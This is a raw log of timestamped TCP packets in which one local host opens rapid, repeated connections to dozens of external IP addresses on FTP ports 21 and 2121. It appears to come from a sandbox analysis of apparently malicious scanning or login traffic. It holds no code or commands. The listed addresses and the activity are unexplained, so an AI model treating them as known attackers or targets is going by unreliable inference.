Aug 23, 2023 09:16:38.272176981 CEST	52307	21	192.168.2.3	190.173.148.21
Aug 23, 2023 09:16:38.295943022 CEST	52308	2121	192.168.2.3	190.173.148.21
Aug 23, 2023 09:16:38.295958042 CEST	52310	2121	192.168.2.3	173.223.213.244
Aug 23, 2023 09:16:38.295963049 CEST	52309	21	192.168.2.3	173.223.213.244
Aug 23, 2023 09:16:38.298482895 CEST	21	52368	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:38.298850060 CEST	52368	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:38.299585104 CEST	2121	52367	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:38.299781084 CEST	52367	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:38.299907923 CEST	2121	52367	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:38.299978971 CEST	52367	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:38.300498009 CEST	52370	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:38.303431034 CEST	21	52336	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:38.303899050 CEST	52336	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:38.315051079 CEST	21	52368	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:38.315149069 CEST	21	52368	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:38.315262079 CEST	21	52368	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:38.315347910 CEST	52368	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:38.315409899 CEST	52368	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:38.316095114 CEST	52371	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:38.319742918 CEST	52372	2121	192.168.2.3	129.150.55.173
Aug 23, 2023 09:16:38.320272923 CEST	21	52366	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:38.320647001 CEST	52366	21	192.168.2.3	59.178.35.163
Aug 23, 2023 09:16:38.330602884 CEST	2121	52367	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:38.331638098 CEST	21	52368	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:38.332182884 CEST	2121	52370	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:38.332267046 CEST	21	52371	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:38.332266092 CEST	52370	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:38.332336903 CEST	52371	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:38.338414907 CEST	52373	21	192.168.2.3	80.44.234.104
Aug 23, 2023 09:16:38.339628935 CEST	52375	21	192.168.2.3	68.83.248.99
Aug 23, 2023 09:16:38.339636087 CEST	52374	21	192.168.2.3	220.121.77.139
Aug 23, 2023 09:16:38.339903116 CEST	52376	2121	192.168.2.3	68.83.248.99
Aug 23, 2023 09:16:38.339986086 CEST	52377	21	192.168.2.3	86.3.161.91
Aug 23, 2023 09:16:38.340034962 CEST	52378	2121	192.168.2.3	80.44.234.104
Aug 23, 2023 09:16:38.340085983 CEST	52379	2121	192.168.2.3	220.121.77.139
Aug 23, 2023 09:16:38.340138912 CEST	52380	2121	192.168.2.3	86.3.161.91
Aug 23, 2023 09:16:38.367099047 CEST	52381	21	192.168.2.3	52.180.253.171
Aug 23, 2023 09:16:38.377819061 CEST	21	52363	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:38.378154039 CEST	52363	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:38.412794113 CEST	52313	21	192.168.2.3	109.129.203.98
Aug 23, 2023 09:16:38.480532885 CEST	21	52369	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:38.481148958 CEST	52369	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:38.491910934 CEST	52382	2121	192.168.2.3	52.180.253.171
Aug 23, 2023 09:16:38.497741938 CEST	21	52366	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:38.497769117 CEST	21	52366	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:38.498085022 CEST	52366	21	192.168.2.3	59.178.35.163
Aug 23, 2023 09:16:38.517394066 CEST	21	52336	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:38.517617941 CEST	21	52336	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:38.517642975 CEST	21	52336	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:38.517776012 CEST	52336	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:38.517893076 CEST	52336	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:38.518591881 CEST	52383	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:38.522177935 CEST	52315	2121	192.168.2.3	109.129.203.98
Aug 23, 2023 09:16:38.524606943 CEST	21	52371	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:38.524898052 CEST	52371	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:38.541090965 CEST	21	52371	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:38.541321993 CEST	21	52371	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:38.541656017 CEST	52371	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:38.542426109 CEST	2121	52370	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:38.542844057 CEST	52370	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:38.549603939 CEST	21	52363	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:38.549633026 CEST	21	52363	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:38.549696922 CEST	52363	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:38.549928904 CEST	52363	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:38.550734043 CEST	52384	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:38.557941914 CEST	21	52371	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:38.569082975 CEST	52316	21	192.168.2.3	67.176.98.3
Aug 23, 2023 09:16:38.574738979 CEST	2121	52370	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:38.576288939 CEST	2121	52370	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:38.581852913 CEST	52370	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:38.615863085 CEST	2121	52370	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:38.616322041 CEST	52370	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:38.617140055 CEST	21	52374	220.121.77.139	192.168.2.3
Aug 23, 2023 09:16:38.617614031 CEST	2121	52379	220.121.77.139	192.168.2.3
Aug 23, 2023 09:16:38.618159056 CEST	21	52371	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:38.618438959 CEST	52371	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:38.634618044 CEST	21	52371	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:38.634819984 CEST	21	52371	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:38.634963036 CEST	21	52371	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:38.635029078 CEST	52371	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:38.635071993 CEST	52371	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:38.635700941 CEST	52385	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:38.648472071 CEST	2121	52370	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:38.648962975 CEST	52370	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:38.648964882 CEST	2121	52370	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:38.649033070 CEST	52370	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:38.649862051 CEST	52386	21	192.168.2.3	112.162.170.127
Aug 23, 2023 09:16:38.649929047 CEST	52387	2121	192.168.2.3	112.162.170.127
Aug 23, 2023 09:16:38.650759935 CEST	52388	21	192.168.2.3	222.116.72.160
Aug 23, 2023 09:16:38.650914907 CEST	52390	2121	192.168.2.3	107.84.41.16
Aug 23, 2023 09:16:38.650922060 CEST	52389	2121	192.168.2.3	222.116.72.160
Aug 23, 2023 09:16:38.650986910 CEST	52391	21	192.168.2.3	107.84.41.16
Aug 23, 2023 09:16:38.651349068 CEST	52392	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:38.652031898 CEST	21	52385	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:38.652116060 CEST	52385	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:38.665684938 CEST	52393	21	192.168.2.3	43.163.211.21
Aug 23, 2023 09:16:38.665870905 CEST	52394	2121	192.168.2.3	43.163.211.21
Aug 23, 2023 09:16:38.665909052 CEST	52395	21	192.168.2.3	115.94.27.125
Aug 23, 2023 09:16:38.665990114 CEST	52396	2121	192.168.2.3	115.94.27.125
Aug 23, 2023 09:16:38.666085005 CEST	52398	21	192.168.2.3	91.230.210.189
Aug 23, 2023 09:16:38.666107893 CEST	52397	2121	192.168.2.3	14.91.177.251
Aug 23, 2023 09:16:38.666207075 CEST	52399	21	192.168.2.3	14.91.177.251
Aug 23, 2023 09:16:38.681272984 CEST	2121	52370	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:38.681396008 CEST	2121	52392	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:38.681473017 CEST	52392	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:38.695504904 CEST	52400	2121	192.168.2.3	91.230.210.189
Aug 23, 2023 09:16:38.700613022 CEST	21	52366	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:38.709800959 CEST	21	52369	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:38.710097075 CEST	21	52369	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:38.710412025 CEST	52369	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:38.721379042 CEST	21	52363	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:38.722218990 CEST	21	52384	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:38.722316980 CEST	52384	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:38.726490974 CEST	52402	2121	192.168.2.3	73.36.139.0
Aug 23, 2023 09:16:38.726614952 CEST	52401	21	192.168.2.3	73.36.139.0
Aug 23, 2023 09:16:38.731230021 CEST	21	52336	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:38.732093096 CEST	21	52383	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:38.732161045 CEST	52383	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:38.757530928 CEST	52403	21	192.168.2.3	223.226.73.176
Aug 23, 2023 09:16:38.757636070 CEST	52404	2121	192.168.2.3	223.226.73.176
Aug 23, 2023 09:16:38.772861958 CEST	52405	21	192.168.2.3	139.60.61.96
Aug 23, 2023 09:16:38.788577080 CEST	52406	2121	192.168.2.3	139.60.61.96
Aug 23, 2023 09:16:38.847095966 CEST	21	52385	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:38.847574949 CEST	52385	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:38.863799095 CEST	21	52385	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:38.864151955 CEST	21	52385	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:38.864546061 CEST	52385	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:38.880887032 CEST	21	52385	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:38.881598949 CEST	52320	2121	192.168.2.3	67.176.98.3
Aug 23, 2023 09:16:38.891232967 CEST	2121	52392	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:38.891515970 CEST	52392	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:38.900321960 CEST	2121	52387	112.162.170.127	192.168.2.3
Aug 23, 2023 09:16:38.900360107 CEST	21	52386	112.162.170.127	192.168.2.3
Aug 23, 2023 09:16:38.920685053 CEST	2121	52392	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:38.922014952 CEST	2121	52392	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:38.925621033 CEST	52392	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:38.927067995 CEST	21	52399	14.91.177.251	192.168.2.3
Aug 23, 2023 09:16:38.927341938 CEST	2121	52397	14.91.177.251	192.168.2.3
Aug 23, 2023 09:16:38.929310083 CEST	52407	21	192.168.2.3	180.176.210.173
Aug 23, 2023 09:16:38.940860987 CEST	21	52385	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:38.941240072 CEST	52385	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:38.944084883 CEST	52371	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:38.944823980 CEST	52408	2121	192.168.2.3	180.176.210.173
Aug 23, 2023 09:16:38.947659016 CEST	21	52393	43.163.211.21	192.168.2.3
Aug 23, 2023 09:16:38.953588009 CEST	2121	52394	43.163.211.21	192.168.2.3
Aug 23, 2023 09:16:38.957653046 CEST	2121	52392	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:38.957700968 CEST	21	52385	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:38.957783937 CEST	21	52385	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:38.957818031 CEST	21	52385	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:38.957895994 CEST	52385	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:38.958065987 CEST	52385	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:38.958136082 CEST	52392	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:38.958730936 CEST	52409	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:38.960344076 CEST	21	52371	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:38.968274117 CEST	21	52369	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:38.968575954 CEST	52369	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:38.974320889 CEST	21	52385	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:38.975045919 CEST	21	52409	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:38.975121021 CEST	52409	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:38.987822056 CEST	2121	52392	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:38.988091946 CEST	52392	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:38.988327026 CEST	2121	52392	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:38.988382101 CEST	52392	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:38.988831043 CEST	52410	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:39.005469084 CEST	21	52383	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:39.005815983 CEST	52383	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:39.007409096 CEST	52411	21	192.168.2.3	23.64.84.142
Aug 23, 2023 09:16:39.017151117 CEST	2121	52392	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:39.017604113 CEST	2121	52410	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:39.017725945 CEST	52410	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:39.028213024 CEST	21	52384	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:39.028497934 CEST	52384	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:39.038697004 CEST	52412	2121	192.168.2.3	23.64.84.142
Aug 23, 2023 09:16:39.131628990 CEST	52374	21	192.168.2.3	220.121.77.139
Aug 23, 2023 09:16:39.131778002 CEST	52379	2121	192.168.2.3	220.121.77.139
Aug 23, 2023 09:16:39.149612904 CEST	21	52407	180.176.210.173	192.168.2.3
Aug 23, 2023 09:16:39.163748026 CEST	2121	52408	180.176.210.173	192.168.2.3
Aug 23, 2023 09:16:39.197392941 CEST	21	52369	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:39.197432995 CEST	21	52369	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:39.197607994 CEST	52369	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:39.197755098 CEST	52369	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:39.198021889 CEST	21	52409	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:39.199898005 CEST	21	52384	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:39.199979067 CEST	52413	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:39.200196981 CEST	52409	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:39.201291084 CEST	21	52384	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:39.201596975 CEST	52384	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:39.216423035 CEST	21	52409	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:39.216748953 CEST	21	52409	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:39.219321012 CEST	21	52383	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:39.219628096 CEST	52409	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:39.221148014 CEST	2121	52410	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:39.225857019 CEST	52410	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:39.235958099 CEST	21	52409	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:39.244601965 CEST	52414	21	192.168.2.3	98.34.93.51
Aug 23, 2023 09:16:39.254605055 CEST	2121	52410	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:39.256112099 CEST	2121	52410	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:39.256534100 CEST	52410	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:39.288070917 CEST	2121	52410	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:39.288584948 CEST	52410	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:39.295329094 CEST	21	52409	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:39.301429033 CEST	52409	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:39.303545952 CEST	52330	21	192.168.2.3	24.11.82.77
Aug 23, 2023 09:16:39.317854881 CEST	21	52409	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:39.317919970 CEST	21	52409	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:39.317959070 CEST	21	52409	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:39.318166971 CEST	2121	52410	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:39.318167925 CEST	52409	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:39.318169117 CEST	52409	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:39.318494081 CEST	52410	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:39.318873882 CEST	2121	52410	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:39.319560051 CEST	52410	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:39.320336103 CEST	52416	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:39.320352077 CEST	52415	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:39.336733103 CEST	21	52415	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:39.339646101 CEST	52415	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:39.347300053 CEST	2121	52410	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:39.349524021 CEST	2121	52416	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:39.349773884 CEST	52416	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:39.373934984 CEST	21	52384	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:39.375134945 CEST	52384	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:39.388092995 CEST	21	52374	220.121.77.139	192.168.2.3
Aug 23, 2023 09:16:39.388830900 CEST	2121	52379	220.121.77.139	192.168.2.3
Aug 23, 2023 09:16:39.411772966 CEST	21	52413	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:39.412889957 CEST	52413	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:39.412956953 CEST	52386	21	192.168.2.3	112.162.170.127
Aug 23, 2023 09:16:39.415501118 CEST	52387	2121	192.168.2.3	112.162.170.127
Aug 23, 2023 09:16:39.426549911 CEST	21	52369	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:39.428581953 CEST	52397	2121	192.168.2.3	14.91.177.251
Aug 23, 2023 09:16:39.428654909 CEST	52399	21	192.168.2.3	14.91.177.251
Aug 23, 2023 09:16:39.459762096 CEST	52393	21	192.168.2.3	43.163.211.21
Aug 23, 2023 09:16:39.459933996 CEST	52394	2121	192.168.2.3	43.163.211.21
Aug 23, 2023 09:16:39.491059065 CEST	52332	2121	192.168.2.3	24.11.82.77
Aug 23, 2023 09:16:39.527299881 CEST	21	52415	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:39.531259060 CEST	52415	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:39.546885014 CEST	21	52384	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:39.546938896 CEST	21	52384	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:39.547528028 CEST	21	52415	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:39.547786951 CEST	52384	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:39.548310995 CEST	2121	52416	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:39.548346043 CEST	52384	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:39.548677921 CEST	21	52415	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:39.549029112 CEST	52417	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:39.549216986 CEST	52416	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:39.550693989 CEST	52415	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:39.566945076 CEST	21	52415	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:39.578228951 CEST	2121	52416	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:39.579366922 CEST	2121	52416	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:39.580990076 CEST	52416	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:39.612857103 CEST	2121	52416	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:39.613835096 CEST	52416	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:39.627037048 CEST	21	52413	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:39.630264044 CEST	52413	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:39.635500908 CEST	52409	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:39.643616915 CEST	2121	52416	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:39.644169092 CEST	52416	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:39.644825935 CEST	2121	52416	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:39.644886017 CEST	52418	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:39.645019054 CEST	52416	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:39.651879072 CEST	21	52409	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:39.657310963 CEST	21	52415	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:39.663146973 CEST	52407	21	192.168.2.3	180.176.210.173
Aug 23, 2023 09:16:39.663160086 CEST	52415	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:39.663743973 CEST	21	52386	112.162.170.127	192.168.2.3
Aug 23, 2023 09:16:39.666084051 CEST	2121	52387	112.162.170.127	192.168.2.3
Aug 23, 2023 09:16:39.673749924 CEST	2121	52416	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:39.676894903 CEST	2121	52418	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:39.679209948 CEST	52419	2121	192.168.2.3	98.34.93.51
Aug 23, 2023 09:16:39.679263115 CEST	52408	2121	192.168.2.3	180.176.210.173
Aug 23, 2023 09:16:39.679295063 CEST	52418	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:39.679523945 CEST	21	52415	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:39.679560900 CEST	21	52415	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:39.679660082 CEST	21	52415	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:39.681610107 CEST	52415	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:39.681941032 CEST	52415	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:39.685489893 CEST	52420	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:39.689445972 CEST	21	52366	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:39.689591885 CEST	2121	52397	14.91.177.251	192.168.2.3
Aug 23, 2023 09:16:39.689857960 CEST	21	52399	14.91.177.251	192.168.2.3
Aug 23, 2023 09:16:39.689896107 CEST	52366	21	192.168.2.3	59.178.35.163
Aug 23, 2023 09:16:39.698210001 CEST	21	52415	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:39.701813936 CEST	21	52420	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:39.704561949 CEST	52420	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:39.719773054 CEST	21	52384	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:39.720510960 CEST	21	52417	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:39.723506927 CEST	52417	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:39.741741896 CEST	21	52393	43.163.211.21	192.168.2.3
Aug 23, 2023 09:16:39.747519016 CEST	2121	52394	43.163.211.21	192.168.2.3
Aug 23, 2023 09:16:39.839842081 CEST	21	52322	162.215.108.74	192.168.2.3
Aug 23, 2023 09:16:39.840323925 CEST	52322	21	192.168.2.3	162.215.108.74
Aug 23, 2023 09:16:39.842048883 CEST	21	52413	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:39.842281103 CEST	21	52413	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:39.843523979 CEST	52413	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:39.867291927 CEST	21	52366	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:39.867346048 CEST	21	52366	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:39.867399931 CEST	21	52366	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:39.867517948 CEST	52366	21	192.168.2.3	59.178.35.163
Aug 23, 2023 09:16:39.868093967 CEST	52366	21	192.168.2.3	59.178.35.163
Aug 23, 2023 09:16:39.868098974 CEST	52421	21	192.168.2.3	59.178.35.163
Aug 23, 2023 09:16:39.879848003 CEST	2121	52418	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:39.881520987 CEST	52418	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:39.881719112 CEST	21	52407	180.176.210.173	192.168.2.3
Aug 23, 2023 09:16:39.896203995 CEST	2121	52408	180.176.210.173	192.168.2.3
Aug 23, 2023 09:16:39.897337914 CEST	52379	2121	192.168.2.3	220.121.77.139
Aug 23, 2023 09:16:39.897346020 CEST	52374	21	192.168.2.3	220.121.77.139
Aug 23, 2023 09:16:39.913427114 CEST	2121	52418	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:39.913603067 CEST	21	52420	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:39.914912939 CEST	2121	52418	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:39.915344000 CEST	52418	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:39.915358067 CEST	52420	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:39.915517092 CEST	52422	21	192.168.2.3	52.230.228.165
Aug 23, 2023 09:16:39.919848919 CEST	21	52417	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:39.925090075 CEST	52417	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:39.931714058 CEST	21	52420	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:39.932060003 CEST	21	52420	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:39.935545921 CEST	52420	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:39.950470924 CEST	2121	52418	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:39.951816082 CEST	21	52420	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:39.955986023 CEST	52418	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:39.988863945 CEST	2121	52418	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:39.989195108 CEST	2121	52418	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:39.989341974 CEST	52418	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:39.989933968 CEST	52418	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:39.989957094 CEST	52423	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:39.991094112 CEST	52345	2121	192.168.2.3	178.63.69.171
Aug 23, 2023 09:16:39.991101980 CEST	52344	21	192.168.2.3	178.63.69.171
Aug 23, 2023 09:16:39.991514921 CEST	52343	2121	192.168.2.3	79.199.149.90
Aug 23, 2023 09:16:40.006709099 CEST	52347	2121	192.168.2.3	212.35.212.150
Aug 23, 2023 09:16:40.007570028 CEST	52342	21	192.168.2.3	79.199.149.90
Aug 23, 2023 09:16:40.018719912 CEST	21	52322	162.215.108.74	192.168.2.3
